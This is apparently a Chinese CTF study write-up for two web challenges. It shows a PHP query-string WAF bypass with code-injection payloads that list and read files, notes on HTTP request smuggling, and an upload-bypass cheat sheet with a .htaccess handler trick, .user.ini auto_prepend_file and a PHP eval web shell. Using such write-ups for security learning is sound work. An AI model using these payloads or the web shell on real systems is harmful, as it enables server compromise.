Easy Calc
考点:WAF绕过、文件读取
calc 是啥?WAF是啥?
calculate 计算
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)
然后发现了 calc.php
去访问。。
发现了些许问题
You don’t have permission to access / on this server.
你在此台服务器上无权限。
怎么解决呢?
大佬博客
输入一个参数名为num的GET变量。当通过黑名单后直接就拿输入的内容执行。很明显这道题就要绕过WAF黑名单去执行命令。
get到的知识点
利用PHP的字符串解析特性Bypass
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
例如:
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
所以讲了个啥事呢?
也就是 calc.php?num=1
和 calc.php?%20num=1
都能走通,都是后台$_GET[‘num’]
PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo(),解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo(),但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。
所以也就是讲了个WAF绕过!!新知识
用?%20num=去绕过WAF
而PHP后台接收到的仍然是$_GET[‘num’]
学到了
打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);
所以需要构造 scandir(/) 查看flag在哪
/ 由chr(47)
?%20num=var_dump(scandir(chr(47)))
接着构造 readfile(/f1agg)
?%20num=var_dump(readfile(chr(47)f1agg))
然后,然后就错了
要这样子
?%20num=var_dump(readfile(chr(47).f1agg))
最后得到flag
最后的最后,学到了个WAF
还学到了 scandir readfile等
居然还有第二种做法。。
HTTP请求走私
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
不太懂
大概做法是 下面多加一个Content-Length
然后加点东西
就成了 CL_CL
1、CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
这是多加了Tansfer-Encoding:chunked
2、CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
[ACTF2020 新生赛]Upload1
上传普通php测试,发现只能上传图片
接着不急着上传图片马
因为 οnsubmit=“return checkfile()”
看看前端验证
php文件前端可以传送了
但后端 nonono-hacker
接着试试 phtml等
接着用antsword连接 并得到flag
#上传姿势
添加gif89a的头
<script language=”php”>
php2,php3、php4、php5、phtml、phtm代替php后缀
大小写,双写等
传.htaccess
截断上传
#.htaccess文件上传
#方法一:
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>
#方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>
//.user.ini文件
//指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
//或者
auto_append_file=test.jpg
//然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接